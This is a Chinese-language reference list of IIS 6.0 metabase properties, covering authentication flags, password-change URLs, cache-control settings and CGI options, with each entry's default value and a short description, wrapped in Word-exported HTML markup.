<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspSxsName =<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">启动并行</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (SxS) </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">程序集。并行</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (SxS) </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">程序集允许</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ASP </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序指定要使用哪个版本的系统</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> DLL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">或传统</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">组件，例如</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> MDAC</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">MFS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">MSVCRT</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">、</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">MSXML </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">等。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspTrackThreadingModel = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是否检查应用程序创建的任意组件的线程模块。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AspUsePartition = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将启动</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM+ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">分区，可用其将</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Web </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序隔离到各自的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM+ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">分区。</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">COM+ </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">分区可拥有不同的自定义</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> COM </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">组件的版本。如果设置该标志，请同时设置</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> AspPartitionID </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">配置数据库属性。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthAdvNotifyDisable = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">禁用密码到期预先通知</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthAnonymous = True<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定匿名身份验证作为可能的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Windows </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">验证方案之一，返回给客户端作为有效验证方案。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthBasic = False<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定基本身份验证作为可能的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Windows </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">验证方案之一，返回给客户端作为有效验证方案。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthChangeDisable = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">禁止更改密码</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthChangeUnsecure = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">允许在不安全端口更改密码</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthChangeURL = /iisadmpwd/achg.asp<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">用户输入新密码时被调用的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthExpiredUnsecureURL = /iisadmpwd/aexp3.asp<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">用户密码到期时调用的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthExpiredURL = /iisadmpwd/aexp.asp<SPAN style="mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">用户密码到期时调用的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。将以安全的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (HTTPS) </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">方式调用它。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthFlags = 5<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">作为有效方案返回给客户端的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Windows </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">验证方案的设置</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthMD5 = False<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定摘要式身份验证和高级摘要式身份验证作为可能的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Windows </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">验证方案之一，返回给客户端作为有效验证方案。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthNotifyPwdExpUnsecureURL = /iisadmpwd/anot3.asp<SPAN style="mso-tab-count: 1">&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包含一个特定的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">：如果用户的密码在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> PasswordExpirePreNotifyDays </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中指定的天数前到期，则调用该</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthNotifyPwdExpURL = /iisadmpwd/anot.asp<SPAN style="mso-tab-count: 1">&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">包含一个特定的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">：如果用户的密码在</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> PasswordExpirePreNotifyDays </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中指定的天数前到期，则调用该</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">。将以安全的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> (HTTPS) </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">方式调用它。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthNTLM = True<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定集成</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Windows </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">身份验证（也称作质询</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">/</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">响应或</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> NTLM </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">验证）作为可能的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Windows </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">验证方案之一，返回给客户端作为有效验证方案。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthPassport = False<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的值表示启用了</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Microsoft® .NET Passport </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">身份验证</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthPersistence = 64<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定了使用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> NTLM </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">验证跨越连接上的请求时的验证持久性</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AuthPersistSingleRequest = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将该标志设置成</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> true </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定验证仅对一个连接上的单个请求持久。</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在每个请求的末尾重设验证，并且在会话的下一个请求上强制执行重验证。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AzEnable = False<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">用于虚拟目录、应用程序，或配置数据库中项相应的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">授权。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AzImpersonationLevel = 0<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">用于应用程序的模拟行为，该模拟行为允许配置</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> Web </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序模拟客户端用户、</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">工作进程，或工作进程的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IUSER_* </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">帐户。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AzScopeName =<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将虚拟目录、应用程序或</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">与作用域相关联。如果没有指定作用域或指定了空子符串，则使用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> IIS 6.0 URL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">授权的默认作用域。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">AzStoreName =<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">授权管理器策略存储与虚拟目录、应用程序或</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> URL </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">相关联。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">CacheControlCustom =<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定了自定义</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> HTTP 1.1 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">缓存控制指令。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">CacheControlMaxAge = 0<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定了</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> HTTP 1.1 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">缓存控制最大时间值。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">CacheControlNoCache = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">保护缓存内容的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> HTTP 1.1 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指令</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">CacheISAPI = True<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在第一次使用</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> ISAPI </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">扩展后是否在内存中进行缓存。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">Caption =<SPAN style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">提供对象的一段简短文本描述（一行字符串）。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">CGITimeout = 300<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> CGI </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序超时（以秒为单位）。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">ContentIndexed = True<SPAN style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指定安装的目录索引程序是否应该检索该目录树下的内容。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">CreateCGIWithNewConsole = False<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指示</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> CGI </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">应用程序是否在自己的控制台上运行。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">CreateProcessAsUser = True<SPAN style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是在系统环境中创建</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> CGI </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">进程还是在请求用户环境中创建</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> CGI </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">进程。</SPAN></P>
